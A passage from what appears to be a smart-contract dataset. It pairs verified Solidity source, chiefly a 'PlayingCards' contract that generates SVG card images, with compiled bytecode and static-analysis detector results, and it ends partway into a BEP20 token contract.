000000000000000604482015290519081900360640190fd5b6001600160a01b03831660009081526020819052604090205461139a908363ffffffff61195316565b6001600160a01b0384166000818152602081815260408083209490945560058152838220845180860186528681528083018881528254600181810185559386529484902091516002909502909101938455519201919091558251858152908101849052825191927f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b92918290030190a2505050565b6001600160a01b031660009081526004602052604090205460ff1690565b6003546001600160a01b0316331461149e5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6114a7816119c0565b50565b6001600160a01b0383166114f257604051600160e51b62461bcd028152600401808060200182810382526024815260200180611d856024913960400191505060405180910390fd5b6001600160a01b03821661153a57604051600160e51b62461bcd028152600401808060200182810382526022815260200180611cfd6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b60005b6001600160a01b0382166000908152600560205260409020548110156117bb576001600160a01b03821660009081526005602052604090208054429190839081106115e657fe5b906000526020600020906002020160000154116117b3576001600160a01b03821660009081526005602052604090208054611626919083908110610ac557fe5b6001600160a01b03831660008181526020818152604080832094909455600590529190912080547f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f191908490811061167a57fe5b9060005260206000209060020201600101546040518082815260200191505060405180910390a26001600160a01b03821660009081526005602052604081208054839081106116c557fe5b60009182526020808320600160029093020191909101929092556001600160a01b038416815260059091526040902054600019018114611788576001600160a01b03821660009081526005602052604090208054600019810190811061172757fe5b906000526020600020906002020160056000846001600160a01b03166001600160a01b03168152602001908152602001600020828154811061176557fe5b600091825260209091208254600290920201908155600191820154910155600019015b6001600160a01b03821660009081526005602052604090208054906117b1906000198301611bb0565b505b60010161159f565b5050565b60006117cc848484611a7a565b6001600160a01b03841660009081526001602090815260408083203380855292529091205461180791869161071e908663ffffffff61195316565b5060019392505050565b6000828201838110156109d55760408051600160e51b62461bcd02815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b031660009081526020819052604090205490565b6001600160a01b0382166118d157604051600160e51b62461bcd028152600401808060200182810382526021815260200180611d3f6021913960400191505060405180910390fd5b6002546118e4908263ffffffff61195316565b6002556001600160a01b038216600090815260208190526040902054611910908263ffffffff61195316565b6001600160a01b03831660008181526020818152604080832094909455835185815293519193600080516020611d1f833981519152929081900390910190a35050565b6000828211156119ad5760408051600160e51b62461bcd02815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b60006105d6338484611a7a565b6001600160a01b038116611a1e5760408051600160e51b62461bcd02815260206004820152600d60248201527f416c7265616479204f776e657200000000000000000000000000000000000000604482015290519081900360640190fd5b6003546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600380546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316611ac257604051600160e51b62461bcd028152600401808060200182810382526025815260200180611d606025913960400191505060405180910390fd5b6001600160a01b038216611b0a57604051600160e51b62461bcd028152600401808060200182810382526023815260200180611cda6023913960400191505060405180910390fd5b6001600160a01b038316600090815260208190526040902054611b33908263ffffffff61195316565b6001600160a01b038085166000908152602081905260408082209390935590841681522054611b68908263ffffffff61181116565b6001600160a01b03808416600081815260208181526040918290209490945580518581529051919392871692600080516020611d1f83398151915292918290030190a3505050565b815481835581811115610c8557600083815260209020610c85916105e39160029182028101918502015b80821115611bf45760008082556001820155600201611bda565b5090565b6001600160a01b038216611c565760408051600160e51b62461bcd02815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600254611c69908263ffffffff61181116565b6002556001600160a01b038216600090815260208190526040902054611c95908263ffffffff61181116565b6001600160a01b038316600081815260208181526040808320949094558351858152935192939192600080516020611d1f8339815191529281900390910190a3505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a165627a7a72305820b0df970ba67de15b537368218fae48d9456bf67287d85449706a496545c018030029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 4,143 |
0xc3a3d9f2263a82b740b921fbb386ec5820fddf9e
|
// File: contracts/PlayingCards.sol
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.9;
contract PlayingCards {
// a playing card
struct Card {
uint8 number; // 0 - 12, maps on to numbers array
uint8 suit; // 0 - 3, maps on to suits array
}
// text representation of spades, clubs, hearts, diamonds
string[] public suits = [
"c", "d", "h", "s"
];
// text representation of card numbers/characters
string[] public numbers = [
"2", "3", "4", "5", "6", "7", "8", "9", "T", "J", "Q", "K", "A"
];
// array of the 52 playable the cards in a deck
Card[52] public cards;
/*
* EVENTS
*/
event CardsInitialised();
/*
* CONSTRUCTOR
*/
/**
* @dev constructor initialises the 52 card deck and emits the CardsInitialised event
*/
constructor()
{
uint8 cardIdx = 0;
for (uint8 i = 0; i < numbers.length; i++) {
for (uint8 j = 0; j < suits.length; j++) {
cards[cardIdx] = Card(i, j);
cardIdx = cardIdx + 1;
}
}
emit CardsInitialised();
}
/*
* PUBLIC GETTERS
*/
/**
* @dev getCardNumberAsUint returns the number value for a card as an array idx
* @dev that can be passed to the numbers[] array or used in calculations
*
* @param cardId uint8 ID of the card from 0 - 51
* @return uint8
*/
function getCardNumberAsUint(uint8 cardId) public validCardId(cardId) view returns (uint8) {
return cards[cardId].number;
}
/**
* @dev getCardSuitAsUint returns the suit value for a card as an array idx
* @dev that can be passed to the suits[] array or used in calculations
*
* @param cardId uint8 ID of the card from 0 - 51
* @return uint8
*/
function getCardSuitAsUint(uint8 cardId) public validCardId(cardId) view returns (uint8) {
return cards[cardId].suit;
}
/**
* @dev getCardNumberAsStr returns the string value for a card's number, for example "A" (Ace)
*
* @param cardId uint8 ID of the card from 0 - 51
* @return string
*/
function getCardNumberAsStr(uint8 cardId) public validCardId(cardId) view returns (string memory) {
return numbers[cards[cardId].number];
}
/**
* @dev getCardSuitAsStr returns the string value for a card's suit, for example "s" (Spade)
*
* @param cardId uint8 ID of the card from 0 - 51
* @return string
*/
function getCardSuitAsStr(uint8 cardId) public validCardId(cardId) view returns (string memory) {
return suits[cards[cardId].suit];
}
/**
* @dev getCardAsString returns the string value for a card, for example "As" (Ace of Spades)
*
* @param cardId uint8 ID of the card from 0 - 51
* @return string
*/
function getCardAsString(uint8 cardId) public validCardId(cardId) view returns (string memory) {
return string(abi.encodePacked(numbers[cards[cardId].number], suits[cards[cardId].suit]));
}
/**
* @dev getCardAsComponents returns the number and suit IDs for a card, as stored in numbers and suits arrays
*
* @param cardId uint8 ID of the card from 0 - 51
* @return number uint8 number/figure ID of card (0 - 12)
* @return suit uint8 suit ID of card (0 - 3)
*/
function getCardAsComponents(uint8 cardId) public validCardId(cardId) view returns (uint8 number, uint8 suit) {
return (cards[cardId].number, cards[cardId].suit);
}
/**
* @dev getCardAsSvg returns the SVG XML for a card, which can be rendered as an img src in a UI
*
* @param cardId uint8 ID of the card from 0 - 51
* @return string SVG XML of card
*/
function getCardAsSvg(uint8 cardId) public validCardId(cardId) view returns (string memory) {
// based on https://commons.wikimedia.org/wiki/Category:SVG_playing_cards
string[3] memory parts;
parts[0] = "<svg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" viewBox=\"0 0 72 62\" width=\"2.5in\" height=\"2.147in\">";
parts[1] = getCardBody(cards[cardId].number, cards[cardId].suit, 7, 32, 1);
parts[2] = "</svg>";
string memory output = string(abi.encodePacked(parts[0], parts[1], parts[2]));
return output;
}
/**
* @dev getCardBody will generate the internal SVG elements for the given card ID
*
* @param numberId uint8 number id as per the numbers array
* @param suitId uint8 suit id as per the suits array
* @param fX uint256 x coordinate for the number/figure
* @param sX uint256 x coordinate for the suit
* @param rX uint256 x coordinate for the surrounding rectangle
* @return string SVG elements
*/
function getCardBody(uint8 numberId, uint8 suitId, uint256 fX, uint256 sX, uint256 rX)
validSuitId(suitId) validNumberId(numberId)
public pure returns (string memory) {
string memory colour = "red";
if (suitId == 0 || suitId == 3) {
colour = "#000";
}
string[25] memory parts;
parts[0] = "<symbol id=\"S";
parts[1] = toString(suitId);
parts[2] = "\" viewBox=\"-600 -600 1200 1200\">";
parts[3] = getSuitPath(suitId);
parts[4] = "</symbol>";
parts[5] = "<symbol id=\"F";
parts[6] = toString(numberId);
parts[7] = "\" viewBox=\"-600 -600 1200 1200\">";
parts[8] = getNumberPath(numberId);
parts[9] = "</symbol>";
parts[10] = "<rect width=\"70\" height=\"60\" x=\"";
parts[11] = toString(rX);
parts[12] = "\" y=\"1\" rx=\"6\" ry=\"6\" fill=\"white\" stroke=\"black\"/>";
parts[13] = "<use xlink:href=\"#F";
parts[14] = toString(numberId);
parts[15] = "\" height=\"32\" width=\"32\" x=\"";
parts[16] = toString(fX);
parts[17] = "\" y=\"16\" stroke=\"";
parts[18] = colour;
parts[19] = "\"/>";
parts[20] = "<use xlink:href=\"#S";
parts[21] = toString(suitId);
parts[22] = "\" height=\"32\" width=\"32\" x=\"";
parts[23] = toString(sX);
parts[24] = "\" y=\"16\"/>";
string memory output = string(
abi.encodePacked(
parts[0],
parts[1],
parts[2],
parts[3],
parts[4],
parts[5],
parts[6],
parts[7],
parts[8]
)
);
output = string(
abi.encodePacked(
output,
parts[9],
parts[10],
parts[11],
parts[12],
parts[13],
parts[14],
parts[15],
parts[16]
)
);
output = string(
abi.encodePacked(
output,
parts[17],
parts[18],
parts[19],
parts[20],
parts[21],
parts[22],
parts[23],
parts[24]
)
);
return output;
}
/**
* @dev getSuitPath will generate the internal SVG path element for the given suit ID
*
* @param suitId uint8 suit id as per the suits array
* @return string SVG path element
*/
function getSuitPath(uint8 suitId) public validSuitId(suitId) pure returns (string memory) {
if (suitId == 0) {
// club
return "<path d=\"M30 150c5 235 55 250 100 350h-260c45-100 95-115 100-350a10 10 0 0 0-20 0 210 210 0 1 1-74-201 10 10 0 0 0 14-14 230 230 0 1 1 220 0 10 10 0 0 0 14 14 210 210 0 1 1-74 201 10 10 0 0 0-20 0Z\" fill=\"#000\"/>";
} else if (suitId == 1) {
// diamond
return "<path d=\"M-400 0C-350 0 0-450 0-500 0-450 350 0 400 0 350 0 0 450 0 500 0 450-350 0-400 0Z\" fill=\"red\"/>";
} else if (suitId == 2) {
// heart
return "<path d=\"M0-300c0-100 100-200 200-200s200 100 200 250C400 0 0 400 0 500 0 400-400 0-400-250c0-150 100-250 200-250S0-400 0-300Z\" fill=\"red\"/>";
} else if (suitId == 3) {
// spade
return "<path d=\"M0-500c100 250 355 400 355 685a150 150 0 0 1-300 0 10 10 0 0 0-20 0c0 200 50 215 95 315h-260c45-100 95-115 95-315a10 10 0 0 0-20 0 150 150 0 0 1-300 0c0-285 255-435 355-685Z\" fill=\"#000\"/>";
}
return "";
}
/**
* @dev getNumberPath will generate the internal SVG path element for the given number ID
*
* @param numberId uint8 number id as per the numbers array
* @return string SVG path element
*/
function getNumberPath(uint8 numberId) public validNumberId(numberId) pure returns (string memory) {
string[3] memory parts;
parts[0] = "<path d=\"";
if (numberId == 0) {
// 2
parts[1] = "M-225-225c-20-40 25-235 225-235s225 135 225 235c0 200-450 385-450 685h450V300";
} else if (numberId == 1) {
// 3
parts[1] = "M-250-320v-140h450L-110-80c10-10 60-40 110-40 200 0 250 120 250 270 0 200-80 310-280 310s-230-160-230-160";
} else if (numberId == 2) {
// 4
parts[1] = "M50 460h200m-100 0v-920l-450 635v25h570";
} else if (numberId == 3) {
// 5
parts[1] = "M170-460h-345l-35 345s10-85 210-85c100 0 255 120 255 320S180 460-20 460s-235-175-235-175";
} else if (numberId == 4) {
// 6
parts[1] = "M-250 100a250 250 0 0 1 500 0v110a250 250 0 0 1-500 0v-420A250 250 0 0 1 0-460c150 0 180 60 200 85";
} else if (numberId == 5) {
// 7
parts[1] = "M-265-320v-140h530C135-200-90 100-90 460";
} else if (numberId == 6) {
// 8
parts[1] = "M-1-50a205 205 0 1 1 2 0h-2a255 255 0 1 0 2 0Z";
} else if (numberId == 7) {
// 9
parts[1] = "M250-100a250 250 0 0 1-500 0v-110a250 250 0 0 1 500 0v420A250 250 0 0 1 0 460c-150 0-180-60-200-85";
} else if (numberId == 8) {
// 10
parts[1] = "M-260 430v-860M-50 0v-310a150 150 0 0 1 300 0v620a150 150 0 0 1-300 0Z";
} else if (numberId == 9) {
// jack
parts[1] = "M50-460h200m-100 0v710a100 100 0 0 1-400 0v-30";
} else if (numberId == 10) {
// queen
parts[1] = "M-260 100c300 0 220 360 520 360M-175 0v-285a175 175 0 0 1 350 0v570a175 175 0 0 1-350 0Z";
} else if (numberId == 11) {
// king
parts[1] = "M-285-460h200m-100 0v920m-100 0h200M85-460h200m-100 20-355 595M85 460h200m-100-20L-10-70";
} else if (numberId == 12) {
// ace
parts[1] = "M-270 460h160m-90-10L0-460l200 910m-90 10h160m-390-330h240";
}
parts[2] = "\" stroke-width=\"80\" stroke-linecap=\"square\" stroke-miterlimit=\"1.5\" fill=\"none\"/>";
string memory output = string(
abi.encodePacked(parts[0], parts[1], parts[2])
);
return output;
}
/*
* PRIVATE FUNCTIONS
*/
/**
* @dev toString converts a given uint256 to a string. Primarily used in SVG, JSON, string name,
* @dev and hash generation
*
* @param value uint256 number to convert
* @return string number as a string
*/
function toString(uint256 value) private pure returns (string memory) {
// Inspired by OraclizeAPI"s implementation - MIT license
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
uint256 _tmpN = value;
if (_tmpN == 0) {
return "0";
}
uint256 temp = _tmpN;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (_tmpN != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(_tmpN % 10)));
_tmpN /= 10;
}
return string(buffer);
}
/*
* MODIFIERS
*/
/**
* @dev validCardId ensures a given card Id is valid
*
* @param cardId uint8 id of card
*/
modifier validCardId(uint8 cardId) {
require(cardId >= 0 && cardId < 52, "invalid cardId");
_;
}
/**
* @dev validSuitId ensures a given suit Id is valid (0 - 3)
*
* @param suitId uint8 id of suit
*/
modifier validSuitId(uint8 suitId) {
require(suitId >= 0 && suitId < 4, "invalid suitId");
_;
}
/**
* @dev validNumberId ensures a given number Id is valid (0 - 12)
*
* @param numberId uint8 id of suit
*/
modifier validNumberId(uint8 numberId) {
require(numberId >= 0 && numberId < 13, "invalid numberId");
_;
}
}
|
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063565addbd1161008c578063646f984211610066578063646f9842146101bd578063699bc55a146101d05780638dc10768146101e3578063d39fa233146101f657600080fd5b8063565addbd146101845780635693cc8d1461019757806362f46125146101aa57600080fd5b80631cb0f607146100d4578063274081dc146100fe5780633c944fb51461011e57806346a0b33e1461014b5780634b26a5901461015e5780634dc3043714610171575b600080fd5b6100e76100e236600461118b565b610209565b60405160ff90911681526020015b60405180910390f35b61011161010c36600461118b565b610261565b6040516100f591906111dd565b61013161012c36600461118b565b61036a565b6040805160ff9384168152929091166020830152016100f5565b610111610159366004611210565b6103d9565b61011161016c36600461118b565b61090e565b61011161017f36600461125d565b610be2565b61011161019236600461118b565b610c8e565b6100e76101a536600461118b565b610d83565b6101116101b836600461118b565b610dcb565b6101116101cb36600461118b565b610e21565b6101116101de36600461118b565b610ee7565b6101316101f136600461125d565b610ff2565b61011161020436600461125d565b611015565b60008160348160ff16106102385760405162461bcd60e51b815260040161022f90611276565b60405180910390fd5b60028360ff166034811061024e5761024e61129e565b0154610100900460ff1691505b50919050565b60608160348160ff16106102875760405162461bcd60e51b815260040161022f90611276565b61028f611133565b6040518060c00160405280608681526020016118746086913981526102f5600260ff8616603481106102c3576102c361129e565b015460ff908116906002908716603481106102e0576102e061129e565b0154610100900460ff166007602060016103d9565b6020808301919091526040805180820190915260068152651e17b9bb339f60d11b918101919091528160025b602002015260008181602002015182600160200201518360026020020151604051602001610351939291906112b4565b60408051808303601f1901815291905295945050505050565b6000808260348160ff16106103915760405162461bcd60e51b815260040161022f90611276565b60028460ff16603481106103a7576103a761129e565b015460ff908116906002908616603481106103c4576103c461129e565b0154909561010090910460ff16945092505050565b60608460048160ff16106104205760405162461bcd60e51b815260206004820152600e60248201526d1a5b9d985b1a59081cdd5a5d125960921b604482015260640161022f565b86600d8160ff16106104675760405162461bcd60e51b815260206004820152601060248201526f1a5b9d985b1a59081b9d5b58995c925960821b604482015260640161022f565b6040805180820190915260038152621c995960ea1b602082015260ff8816158061049457508760ff166003145b156104b657506040805180820190915260048152630233030360e41b60208201525b6104be61115a565b60408051808201909152600d81526c3c73796d626f6c2069643d225360981b602082015281526104f060ff8a16611025565b6020828101919091526040805180820182528281527f222076696577426f783d222d363030202d36303020313230302031323030223e9281019290925282015261053989610ee7565b606082015260408051808201825260098152681e17b9bcb6b137b61f60b91b60208083019190915260808401919091528151808301909252600d82526c1e39bcb6b137b61034b21e912360991b9082015260a082015261059b60ff8b16611025565b60c08201526040805180820190915260208082527f222076696577426f783d222d363030202d36303020313230302031323030223e9082015260e08201526105e28a61090e565b61010082015260408051808201825260098152681e17b9bcb6b137b61f60b91b60208083019190915261012084019190915281518083019092528082527f3c726563742077696474683d22373022206865696768743d2236302220783d229082015261014082015261065386611025565b6101608201526040805160608101909152603380825261155560208301396101808201526040805180820190915260138152721e3ab9b2903c3634b7359d343932b31e9111a360691b60208201526101a08201526106b360ff8b16611025565b6101c082015260408051808201909152601c81527f22206865696768743d223332222077696474683d2233322220783d220000000060208201526101e08201526106fc88611025565b610200820152604080518082018252601181527011103c9e91189b111039ba3937b5b29e9160791b602080830191909152610220840191909152610240830184905281518083018352600381526211179f60e91b81830152610260840152815180830190925260138252723c75736520786c696e6b3a687265663d22235360681b9082015261028082015261079360ff8a16611025565b6102a082015260408051808201909152601c81527f22206865696768743d223332222077696474683d2233322220783d220000000060208201526102c08201526107dc87611025565b6102e0820152604080518082018252600a81526911103c9e91189b11179f60b11b602080830191909152610300840191909152825181840151838501516060860151608087015160a088015160c089015160e08a01516101008b0151995160009a6108499a9091016112f7565b60408051808303601f19018152908290526101208401516101408501516101608601516101808701516101a08801516101c08901516101e08a01516102008b015197995061089c988a98906020016112f7565b60408051808303601f19018152908290526102208401516102408501516102608601516102808701516102a08801516102c08901516102e08a01516103008b01519799506108ef988a98906020016112f7565b60408051808303601f190181529190529b9a5050505050505050505050565b606081600d8160ff16106109575760405162461bcd60e51b815260206004820152601060248201526f1a5b9d985b1a59081b9d5b58995c925960821b604482015260640161022f565b61095f611133565b6040805180820190915260098152681e3830ba3410321e9160b91b6020820152815260ff84166000036109b3576040518060800160405280604d8152602001611996604d91398160015b6020020152610bc1565b8360ff166001036109df576040518060a001604052806069815260200161180b606991398160016109a9565b8360ff16600203610a0b576040518060600160405280602781526020016116ce602791398160016109a9565b8360ff16600303610a37576040518060800160405280605881526020016117b3605891398160016109a9565b8360ff16600403610a63576040518060a0016040528060628152602001611934606291398160016109a9565b8360ff16600503610a8f57604051806060016040528060288152602001611723602891398160016109a9565b8360ff16600603610abb576040518060600160405280602e8152602001611a7a602e91398160016109a9565b8360ff16600703610ae7576040518060a001604052806062815260200161166c606291398160016109a9565b8360ff16600803610b13576040518060800160405280604681526020016119e3604691398160016109a9565b8360ff16600903610b3f576040518060600160405280602e81526020016116f5602e91398160016109a9565b8360ff16600a03610b6b57604051806080016040528060588152602001611c41605891398160016109a9565b8360ff16600b03610b9757604051806080016040528060588152602001611588605891398160016109a9565b8360ff16600c03610bc1576040518060600160405280603a81526020016118fa603a913960208201525b604051806080016040528060518152602001611a2960519139816002610321565b60008181548110610bf257600080fd5b906000526020600020016000915090508054610c0d906113b8565b80601f0160208091040260200160405190810160405280929190818152602001828054610c39906113b8565b8015610c865780601f10610c5b57610100808354040283529160200191610c86565b820191906000526020600020905b815481529060010190602001808311610c6957829003601f168201915b505050505081565b60608160348160ff1610610cb45760405162461bcd60e51b815260040161022f90611276565b600060028460ff1660348110610ccc57610ccc61129e565b0154815461010090910460ff16908110610ce857610ce861129e565b906000526020600020018054610cfd906113b8565b80601f0160208091040260200160405190810160405280929190818152602001828054610d29906113b8565b8015610d765780601f10610d4b57610100808354040283529160200191610d76565b820191906000526020600020905b815481529060010190602001808311610d5957829003601f168201915b5050505050915050919050565b60008160348160ff1610610da95760405162461bcd60e51b815260040161022f90611276565b60028360ff1660348110610dbf57610dbf61129e565b015460ff169392505050565b60608160348160ff1610610df15760405162461bcd60e51b815260040161022f90611276565b600160028460ff1660348110610e0957610e0961129e565b0154815460ff909116908110610ce857610ce861129e565b60608160348160ff1610610e475760405162461bcd60e51b815260040161022f90611276565b600160028460ff1660348110610e5f57610e5f61129e565b0154815460ff909116908110610e7757610e7761129e565b90600052602060002001600060028560ff1660348110610e9957610e9961129e565b0154815461010090910460ff16908110610eb557610eb561129e565b90600052602060002001604051602001610ed0929190611485565b604051602081830303815290604052915050919050565b60608160048160ff1610610f2e5760405162461bcd60e51b815260206004820152600e60248201526d1a5b9d985b1a59081cdd5a5d125960921b604482015260640161022f565b8260ff16600003610f5a5760405180610100016040528060d48152602001611b6d60d49139915061025b565b8260ff16600103610f85576040518060a001604052806068815260200161174b60689139915061025b565b8260ff16600203610fb0576040518060c00160405280608c81526020016115e0608c9139915061025b565b8260ff16600303610fdc5760405180610100016040528060c58152602001611aa860c59139915061025b565b5050604080516020810190915260008152919050565b6002816034811061100257600080fd5b015460ff80821692506101009091041682565b60018181548110610bf257600080fd5b60608160008190036110505750506040805180820190915260018152600360fc1b6020820152919050565b8060005b811561107a5780611064816114b8565b91506110739050600a836114e7565b9150611054565b60008167ffffffffffffffff811115611095576110956114fb565b6040519080825280601f01601f1916602001820160405280156110bf576020820181803683370190505b5090505b831561112a576110d4600183611511565b91506110e1600a85611528565b6110ec90603061153c565b60f81b8183815181106111015761110161129e565b60200101906001600160f81b031916908160001a905350611123600a856114e7565b93506110c3565b95945050505050565b60405180606001604052806003905b60608152602001906001900390816111425790505090565b60408051610320810190915260608152601860208201611142565b803560ff8116811461118657600080fd5b919050565b60006020828403121561119d57600080fd5b6111a682611175565b9392505050565b60005b838110156111c85781810151838201526020016111b0565b838111156111d7576000848401525b50505050565b60208152600082518060208401526111fc8160408501602087016111ad565b601f01601f19169190910160400192915050565b600080600080600060a0868803121561122857600080fd5b61123186611175565b945061123f60208701611175565b94979496505050506040830135926060810135926080909101359150565b60006020828403121561126f57600080fd5b5035919050565b6020808252600e908201526d1a5b9d985b1a590818d85c99125960921b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b600084516112c68184602089016111ad565b8451908301906112da8183602089016111ad565b84519101906112ed8183602088016111ad565b0195945050505050565b60008a51611309818460208f016111ad565b8a5161131b8183860160208f016111ad565b8a519184010190611330818360208e016111ad565b89516113428183850160208e016111ad565b8951929091010190611358818360208c016111ad565b875161136a8183850160208c016111ad565b8751929091010190611380818360208a016111ad565b85516113928183850160208a016111ad565b85519290910101906113a88183602088016111ad565b019b9a5050505050505050505050565b600181811c908216806113cc57607f821691505b60208210810361025b57634e487b7160e01b600052602260045260246000fd5b8054600090600181811c908083168061140657607f831692505b6020808410820361142757634e487b7160e01b600052602260045260246000fd5b81801561143b576001811461144c57611479565b60ff19861689528489019650611479565b60008881526020902060005b868110156114715781548b820152908501908301611458565b505084890196505b50505050505092915050565b600061149a61149483866113ec565b846113ec565b949350505050565b634e487b7160e01b600052601160045260246000fd5b6000600182016114ca576114ca6114a2565b5060010190565b634e487b7160e01b600052601260045260246000fd5b6000826114f6576114f66114d1565b500490565b634e487b7160e01b600052604160045260246000fd5b600082821015611523576115236114a2565b500390565b600082611537576115376114d1565b500690565b6000821982111561154f5761154f6114a2565b50019056fe2220793d2231222072783d2236222072793d2236222066696c6c3d22776869746522207374726f6b653d22626c61636b222f3e4d2d3238352d343630683230306d2d3130302030763932306d2d3130302030683230304d38352d343630683230306d2d3130302032302d333535203539354d383520343630683230306d2d3130302d32304c2d31302d37303c7061746820643d224d302d33303063302d313030203130302d323030203230302d323030733230302031303020323030203235304334303020302030203430302030203530302030203430302d34303020302d3430302d32353063302d313530203130302d323530203230302d32353053302d34303020302d3330305a222066696c6c3d22726564222f3e4d3235302d31303061323530203235302030203020312d3530302030762d3131306132353020323530203020302031203530302030763432304132353020323530203020302031203020343630632d31353020302d3138302d36302d3230302d38354d353020343630683230306d2d3130302030762d3932306c2d34353020363335763235683537304d35302d343630683230306d2d31303020307637313061313030203130302030203020312d3430302030762d33304d2d3236352d333230762d31343068353330433133352d3230302d3930203130302d3930203436303c7061746820643d224d2d3430302030432d333530203020302d34353020302d35303020302d3435302033353020302034303020302033353020302030203435302030203530302030203435302d33353020302d34303020305a222066696c6c3d22726564222f3e4d3137302d343630682d3334356c2d3335203334357331302d3835203231302d38356331303020302032353520313230203235352033323053313830203436302d323020343630732d3233352d3137352d3233352d3137354d2d3235302d333230762d313430683435304c2d3131302d38306331302d31302036302d3430203131302d3430203230302030203235302031323020323530203237302030203230302d3830203331302d32383020333130732d3233302d3136302d3233302d3136303c73766720786d6c6e733d22687474703a2f2f7777772e77332e6f72672f323030302f7376672220786d6c6e733a786c696e6b3d22687474703a2f2f7777772e77332e6f72672f313939392f786c696e6b222076696577426f783d22302030203732203632222077696474683d22322e35696e22206865696768743d22322e313437696e223e4d2d32373020343630683136306d2d39302d31304c302d3436306c323030203931306d2d3930203130683136306d2d3339302d333330683234304d2d3235302031303061323530203235302030203020312035303020307631313061323530203235302030203020312d3530302030762d343230413235302032353020302030203120302d34363063313530203020313830203630203230302038354d2d3232352d323235632d32302d34302032352d323335203232352d323335733232352031333520323235203233356330203230302d343530203338352d3435302036383568343530563330304d2d32363020343330762d3836304d2d35302030762d33313061313530203135302030203020312033303020307636323061313530203135302030203020312d33303020305a22207374726f6b652d77696474683d22383022207374726f6b652d6c696e656361703d2273717561726522207374726f6b652d6d697465726c696d69743d22312e35222066696c6c3d226e6f6e65222f3e4d2d312d3530613230352032303520302031203120322030682d326132353520323535203020312030203220305a3c7061746820643d224d302d35303063313030203235302033353520343030203335352036383561313530203135302030203020312d33303020302031302031302030203020302d323020306330203230302035302032313520393520333135682d3236306334352d3130302039352d3131352039352d3331356131302031302030203020302d3230203020313530203135302030203020312d333030203063302d323835203235352d343335203335352d3638355a222066696c6c3d2223303030222f3e3c7061746820643d224d333020313530633520323335203535203235302031303020333530682d3236306334352d3130302039352d313135203130302d3335306131302031302030203020302d3230203020323130203231302030203120312d37342d3230312031302031302030203020302031342d3134203233302032333020302031203120323230203020313020313020302030203020313420313420323130203231302030203120312d3734203230312031302031302030203020302d323020305a222066696c6c3d2223303030222f3e4d2d32363020313030633330302030203232302033363020353230203336304d2d3137352030762d32383561313735203137352030203020312033353020307635373061313735203137352030203020312d33353020305aa26469706673582212204fa5e66bc7c5c63fd0cfebb0b4448be8b0b8c457bd45bcb3a80721f408822dc764736f6c634300080d0033
|
{"success": true, "error": null, "results": {}}
| 4,144 |
0x3DAeCAE376Ad4FB15eAd85Fb69827C26EA01Bd0B
|
/**
*Submitted for verification at Etherscan.io on 2021-06-10
*/
pragma solidity 0.5.16;
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
